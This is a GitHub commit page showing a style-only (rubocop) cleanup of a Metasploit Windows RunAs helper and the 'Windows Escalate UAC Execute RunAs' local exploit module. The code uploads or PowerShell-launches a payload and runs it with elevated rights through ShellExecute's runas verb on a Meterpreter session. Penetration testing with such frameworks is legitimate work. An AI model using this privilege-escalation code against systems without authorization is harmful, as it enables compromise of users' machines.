Skip to content

Commit 15c1ab6

Browse files
committed
Quick rubocop
1 parent d336c56 commit 15c1ab6

File tree

2 files changed

+25
-30
lines changed

2 files changed

+25
-30
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,12 @@
44
require 'msf/core/exploit/exe'
55

66
module Msf::Post::Windows::Runas
7-
87
include Msf::Post::File
98
include Msf::Exploit::EXE
109
include Msf::Exploit::Powershell
1110

12-
def execute_exe(filename=nil, path=nil, upload=nil)
13-
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
11+
def execute_exe(filename = nil, path = nil, upload = nil)
12+
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
1413
payload_path = path || get_env('TEMP')
1514
cmd_location = "#{payload_path}\\#{payload_filename}"
1615

@@ -33,8 +32,7 @@ def execute_psh
3332
end
3433

3534
def shell_exec(command, args)
36-
print_status("Executing elevated command...")
35+
print_status('Executing elevated command...')
3736
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
3837
end
3938
end
40-

modules/exploits/windows/local/ask.rb

Lines changed: 22 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -11,61 +11,58 @@ class Metasploit3 < Msf::Exploit::Local
1111
include Post::Windows::Priv
1212
include Post::Windows::Runas
1313

14-
def initialize(info={})
15-
super( update_info( info,
14+
def initialize(info = {})
15+
super(update_info(info,
1616
'Name' => 'Windows Escalate UAC Execute RunAs',
17-
'Description' => %q{
17+
'Description' => %q(
1818
This module will attempt to elevate execution level using
1919
the ShellExecute undocumented RunAs flag to bypass low
2020
UAC settings.
21-
},
21+
),
2222
'License' => MSF_LICENSE,
2323
'Author' => [
24-
'mubix', # Original technique
25-
'b00stfr3ak' # Added powershell option
24+
'mubix', # Original technique
25+
'b00stfr3ak' # Added powershell option
2626
],
27-
'Platform' => [ 'win' ],
28-
'SessionTypes' => [ 'meterpreter' ],
29-
'Targets' => [ [ 'Windows', {} ] ],
27+
'Platform' => ['win'],
28+
'SessionTypes' => ['meterpreter'],
29+
'Targets' => [['Windows', {}]],
3030
'DefaultTarget' => 0,
3131
'References' => [
32-
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
32+
['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html']
3333
],
34-
'DisclosureDate'=> "Jan 3 2012"
34+
'DisclosureDate' => 'Jan 3 2012'
3535
))
3636

3737
register_options([
38-
OptString.new("FILENAME", [ false, "File name on disk"]),
39-
OptString.new("PATH", [ false, "Location on disk, %TEMP% used if not set" ]),
40-
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]),
41-
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
38+
OptString.new('FILENAME', [false, 'File name on disk']),
39+
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
40+
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
41+
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
4242
])
43-
4443
end
4544

4645
def exploit
47-
4846
if is_uac_enabled?
49-
print_status "UAC is Enabled, checking level..."
47+
print_status 'UAC is Enabled, checking level...'
5048
case get_uac_level
5149
when UAC_NO_PROMPT
52-
print_good "UAC is not enabled, no prompt for the user"
50+
print_good 'UAC is not enabled, no prompt for the user'
5351
else
5452
print_status "The user will be prompted, wait for them to click 'Ok'"
5553
end
5654
else
57-
print_good "UAC is not enabled, no prompt for the user"
55+
print_good 'UAC is not enabled, no prompt for the user'
5856
end
5957

6058
#
6159
# Generate payload and random names for upload
6260
#
63-
case datastore["TECHNIQUE"]
64-
when "EXE"
65-
execute_exe(datastore["FILENAME"], datastore["PATH"], datastore["UPLOAD"])
66-
when "PSH"
61+
case datastore['TECHNIQUE']
62+
when 'EXE'
63+
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
64+
when 'PSH'
6765
execute_psh
6866
end
6967
end
7068
end
71-

0 commit comments

Comments
 (0)